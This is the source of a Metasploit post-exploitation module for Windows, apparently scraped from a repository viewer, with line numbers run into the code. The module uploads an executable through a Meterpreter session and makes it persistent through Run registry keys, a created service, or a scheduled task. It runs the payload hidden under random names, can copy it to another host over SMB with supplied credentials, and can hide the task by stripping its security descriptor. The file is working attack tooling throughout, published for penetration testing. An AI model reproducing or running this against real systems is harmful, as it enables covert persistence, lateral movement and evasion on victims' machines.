Path: blob/master/modules/post/windows/manage/persistence_exe.rb
19715 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Post6include Msf::Post::Common7include Msf::Post::File8include Msf::Post::Windows::Priv9include Msf::Post::Windows::Registry10include Msf::Post::Windows::Services11include Msf::Post::Windows::TaskScheduler1213def initialize(info = {})14super(15update_info(16info,17'Name' => 'Windows Manage Persistent EXE Payload Installer',18'Description' => %q{19This module will upload an executable to a remote host and make it Persistent.20It can be installed as USER, SYSTEM, or SERVICE. USER will start on user login,21SYSTEM will start on system boot but requires privs. SERVICE will create a new service22which will start the payload. Again requires privs.23},24'License' => MSF_LICENSE,25'Author' => [ 'Merlyn drforbin Cousins <drforbin6[at]gmail.com>' ],26'Version' => '$Revision:1$',27'Platform' => [ 'windows' ],28'SessionTypes' => [ 'meterpreter'],29'Compat' => {30'Meterpreter' => {31'Commands' => %w[32core_channel_eof33core_channel_open34core_channel_read35core_channel_write36stdapi_sys_config_getenv37stdapi_sys_config_sysinfo38stdapi_sys_process_execute39]40}41},42'Notes' => {43'Stability' => [CRASH_SAFE],44'Reliability' => [REPEATABLE_SESSION],45'SideEffects' => [ARTIFACTS_ON_DISK, CONFIG_CHANGES]46}47)48)4950register_options(51[52OptEnum.new('STARTUP', [true, 'Startup type for the persistent payload.', 'USER', ['USER', 'SYSTEM', 'SERVICE', 'TASK']]),53OptPath.new('REXEPATH', [true, 'The remote executable to upload and execute.']),54OptString.new('REXENAME', [true, 'The name to call exe on remote system', 'default.exe']),55OptBool.new('RUN_NOW', [false, 'Run the installed payload immediately.', true]),56]57)5859register_advanced_options(60[61OptString.new('LocalExePath', [false, 'The local exe path to run. Use temp directory as default. ']),62OptString.new('RemoteExePath', [63false,64'The remote path to move the payload to. Only valid when the STARTUP option is set '\65'to TASK and the `ScheduleRemoteSystem` option is set. Use the same path than LocalExePath '\66'if not set.'67], conditions: ['STARTUP', '==', 'TASK']),68OptString.new('StartupName', [false, 'The name of service, registry or scheduled task. Random string as default.' ]),69OptString.new('ServiceDescription', [false, 'The description of service. Random string as default.' ])70]71)72end7374# Run Method for when run command is issued75#-------------------------------------------------------------------------------76def run77hostname = sysinfo.nil? ? cmd_exec('hostname') : sysinfo['Computer']78print_status("Running module against #{hostname} (#{session.session_host})")7980# Set vars81rexe = datastore['REXEPATH']82rexename = datastore['REXENAME']83host, _port = session.tunnel_peer.split(':')84@clean_up_rc = ''8586raw = create_payload_from_file rexe8788# Write script to %TEMP% on target89script_on_target = write_exe_to_target(raw, rexename)9091# Initial execution of script92target_exec(script_on_target) if datastore['RUN_NOW']9394case datastore['STARTUP'].upcase95when 'USER'96write_to_reg('HKCU', script_on_target)97when 'SYSTEM'98write_to_reg('HKLM', script_on_target)99when 'SERVICE'100install_as_service(script_on_target)101when 'TASK'102create_scheduler_task(script_on_target)103end104105clean_rc = log_file106file_local_write(clean_rc, @clean_up_rc)107print_status("Cleanup Meterpreter RC File: #{clean_rc}")108109report_note(host: host,110type: 'host.persistance.cleanup',111data: {112local_id: session.sid,113stype: session.type,114desc: session.info,115platform: session.platform,116via_payload: session.via_payload,117via_exploit: session.via_exploit,118created_at: Time.now.utc,119commands: @clean_up_rc120})121end122123# Function for creating log folder and returning log path124#-------------------------------------------------------------------------------125def log_file(log_path = nil)126# Get hostname127if datastore['STARTUP'] == 'TASK' && @cleanup_host128# Use the remote hostname when remote task creation is selected129# Cleanup will have to be performed on this remote host130host = @cleanup_host131else132host = session.sys.config.sysinfo['Computer']133end134135# Create Filename info to be appended to downloaded files136filenameinfo = '_' + ::Time.now.strftime('%Y%m%d.%M%S')137138# Create a directory for the logs139logs = if log_path140::File.join(log_path, 'logs', 'persistence', Rex::FileUtils.clean_path(host + filenameinfo))141else142::File.join(Msf::Config.log_directory, 'persistence', Rex::FileUtils.clean_path(host + filenameinfo))143end144145# Create the log directory146::FileUtils.mkdir_p(logs)147148# logfile name149logfile = logs + ::File::Separator + Rex::FileUtils.clean_path(host + filenameinfo) + '.rc'150logfile151end152153# Function to execute script on target and return the PID of the process154#-------------------------------------------------------------------------------155def target_exec(script_on_target)156print_status("Executing script #{script_on_target}")157proc = session.sys.process.execute(script_on_target, nil, 'Hidden' => true)158print_good("Agent executed with PID #{proc.pid}")159@clean_up_rc << "kill #{proc.pid}\n"160proc.pid161end162163# Function to install payload in to the registry HKLM or HKCU164#-------------------------------------------------------------------------------165def write_to_reg(key, script_on_target)166nam = datastore['StartupName'] || Rex::Text.rand_text_alpha(8..15)167print_status("Installing into autorun as #{key}\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\#{nam}")168if key169registry_setvaldata("#{key}\\Software\\Microsoft\\Windows\\CurrentVersion\\Run", nam, script_on_target, 'REG_SZ')170print_good("Installed into autorun as #{key}\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\#{nam}")171@clean_up_rc << "reg deleteval -k '#{key}\\Software\\Microsoft\\Windows\\CurrentVersion\\Run' -v '#{nam}'\n"172else173print_error('Error: failed to open the registry key for writing')174end175end176177# Function to install payload as a service178#-------------------------------------------------------------------------------179def install_as_service(script_on_target)180if is_system? || is_admin?181print_status('Installing as service..')182nam = datastore['StartupName'] || Rex::Text.rand_text_alpha(8..15)183description = datastore['ServiceDescription'] || Rex::Text.rand_text_alpha(8)184print_status("Creating service #{nam}")185186key = service_create(nam, path: "cmd /c \"#{script_on_target}\"", display: description)187188# check if service had been created189if key != 0190print_error("Service #{nam} creating failed.")191return192end193194# if service is stopped, then start it.195service_start(nam) if datastore['RUN_NOW'] && service_status(nam)[:state] == 1196197@clean_up_rc << "execute -H -f sc -a \"delete #{nam}\"\n"198else199print_error('Insufficient privileges to create service')200end201end202203# Function for writing executable to target host204#-------------------------------------------------------------------------------205def write_exe_to_target(rexe, rexename)206# check if we have write permission207# I made it by myself because the function filestat.writable? was not implemented yet.208if !datastore['LocalExePath'].nil?209210begin211temprexe = datastore['LocalExePath'] + '\\' + rexename212write_file_to_target(temprexe, rexe)213rescue Rex::Post::Meterpreter::RequestError214print_warning("Insufficient privileges to write in #{datastore['LocalExePath']}, writing to %TEMP%")215temprexe = session.sys.config.getenv('TEMP') + '\\' + rexename216write_file_to_target(temprexe, rexe)217end218219# Write to %temp% directory if not set LocalExePath220else221temprexe = session.sys.config.getenv('TEMP') + '\\' + rexename222write_file_to_target(temprexe, rexe)223end224225print_good("Persistent Script written to #{temprexe}")226@clean_up_rc << "rm #{temprexe.gsub('\\', '\\\\\\\\')}\n"227temprexe228end229230def write_file_to_target(temprexe, rexe)231fd = session.fs.file.new(temprexe, 'wb')232fd.write(rexe)233fd.close234end235236# Function to create executable from a file237#-------------------------------------------------------------------------------238def create_payload_from_file(exec)239print_status("Reading Payload from file #{exec}")240File.binread(exec)241end242243def move_to_remote(remote_host, script_on_target, remote_path)244print_status("Moving payload file to the remote host (#{remote_host})")245246# Translate local path to remote path. Basically, change any "<drive letter>:" to "<drive letter>$"247remote_path = remote_path.split('\\').delete_if(&:empty?)248remote_exe = remote_path.pop249remote_path[0].sub!(/^(?<drive>[A-Z]):/i, '\k<drive>$') unless remote_path.empty?250remote_path.prepend(remote_host)251remote_path = "\\\\#{remote_path.join('\\')}"252cmd = "net use #{remote_path}"253if datastore['ScheduleUsername'].present?254cmd << " /user:#{datastore['ScheduleUsername']}"255cmd << " #{datastore['SchedulePassword']}" if datastore['SchedulePassword'].present?256end257258vprint_status("Executing command: #{cmd}")259result = cmd_exec_with_result(cmd)260unless result[1]261print_error(262'Unable to connect to the remote host. Check credentials, `RemoteExePath`, '\263"`LocalExePath` and SMB version compatibility on both hosts. Error: #{result[0]}"264)265return false266end267268# #move_file helper does not work when the target is a remote host and the session run as SYSTEM. It works with #cmd_exec.269result = cmd_exec_with_result("move /y \"#{script_on_target}\" \"#{remote_path}\\#{remote_exe}\"")270if result[1]271print_good("Moved #{script_on_target} to #{remote_path}\\#{remote_exe}")272else273print_error("Unable to move the file to the remote host. Error: #{result[0]}")274end275276result = cmd_exec_with_result("net use #{remote_path} /delete")277unless result[1]278print_warning("Unable to close the network connection with the remote host. This will have to be done manually. Error: #{result[0]}")279end280281return !!result282end283284TaskSch = Msf::Post::Windows::TaskScheduler285286def create_scheduler_task(script_on_target)287unless is_system? || is_admin?288print_error('Insufficient privileges to create a scheduler task')289return290end291292remote_host = datastore['ScheduleRemoteSystem']293print_status("Creating a #{datastore['ScheduleType']} scheduler task#{" on #{remote_host}" if remote_host.present?}")294295if remote_host.present?296remote_path = script_on_target297if datastore['RemoteExePath'].present?298remote_path = datastore['RemoteExePath'].split('\\').delete_if(&:empty?).join('\\')299remote_path = "#{remote_path}\\#{datastore['REXENAME']}"300end301return false unless move_to_remote(remote_host, script_on_target, remote_path)302303@cleanup_host = remote_host304@clean_up_rc = "rm #{remote_path.gsub('\\', '\\\\\\\\')}\n"305end306307task_name = datastore['StartupName'].present? ? datastore['StartupName'] : Rex::Text.rand_text_alpha(8..15)308309print_status("Task name: '#{task_name}'")310if datastore['ScheduleObfuscationTechnique'] == 'SECURITY_DESC'311print_status('Also, removing the Security Descriptor registry key value to hide the task')312end313if datastore['ScheduleRemoteSystem'].present?314if Rex::Socket.dotted_ip?(datastore['ScheduleRemoteSystem'])315print_warning(316"The task will be created on the remote host #{datastore['ScheduleRemoteSystem']} and since "\317'the FQDN is not used, it usually takes some time (> 1 min) due to some DNS resolution'\318' happening in the background'319)320if datastore['ScheduleObfuscationTechnique'] != 'SECURITY_DESC'321print_warning(322'Also, since the \'ScheduleObfuscationTechnique\' option is set to '\323'SECURITY_DESC, it will take much more time to be executed on the '\324'remote host for the same reasons (> 3 min). Don\'t Ctrl-C, even if '\325'a session pops up, be patient or use a FQDN in `ScheduleRemoteSystem` option.'326)327end328end329@clean_up_rc = "# The 'rm' command won t probably succeed while you're interacting with the session\n"\330"# You should migrate to another process to be able to remove the payload file\n"\331"#{@clean_up_rc}"332end333334begin335task_create(task_name, remote_host.blank? ? script_on_target : remote_path)336rescue TaskSchedulerObfuscationError => e337print_warning(e.message)338print_good('Task created without obfuscation')339rescue TaskSchedulerError => e340print_error("Task creation error: #{e}")341return342else343print_good('Task created')344if datastore['ScheduleObfuscationTechnique'] == 'SECURITY_DESC'345@clean_up_rc << "reg setval -k '#{TaskSch::TASK_REG_KEY.gsub('\\') { '\\\\' }}\\\\#{task_name}' "\346"-v '#{TaskSch::TASK_SD_REG_VALUE}' "\347"-d '#{TaskSch::DEFAULT_SD}' "\348"-t 'REG_BINARY'#{" -w '64'" unless @old_os}\n"349end350end351352@clean_up_rc << "execute -H -f schtasks -a \"/delete /tn #{task_name} /f\"\n"353end354end355356357